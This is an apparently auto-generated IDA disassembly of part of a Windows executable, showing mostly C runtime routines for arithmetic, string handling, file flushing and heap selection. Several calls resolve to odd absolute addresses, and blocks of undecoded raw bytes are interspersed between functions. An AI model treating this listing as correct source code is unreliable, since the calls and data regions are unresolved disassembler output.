		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB334
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C504, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB334, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 26709FBh
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C2F8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB334, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2810000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 24h
		dd 0B7E2348Ch, 0C661414Eh, 99221C35h, 0A164E3FFh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 2CE890E8h, 33024642h, 89D48AD2h
		dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 4641A6E8h, 0C90CA302h,	19E8004Dh
		dd 0A3000058h, 4DB2E8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2462628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2606E856h, 50900226h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB2F0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2C0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB2F0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 0E8000000h
		dd 77A58245h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC6C0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26507ADh
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 26709FBh
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5A0, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2680000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26C047Ah
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24733C0h
		dd 0A3C08590h, 4DC904h,	93E83674h, 83FFFFFEh, 8A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh
		dd 24731EEh, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC904h
		dd 3821BFE8h, 0C0859002h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
		dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
		dd 0D8900h, 0C7004DC9h,	4DC8E805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC8F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC8FC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
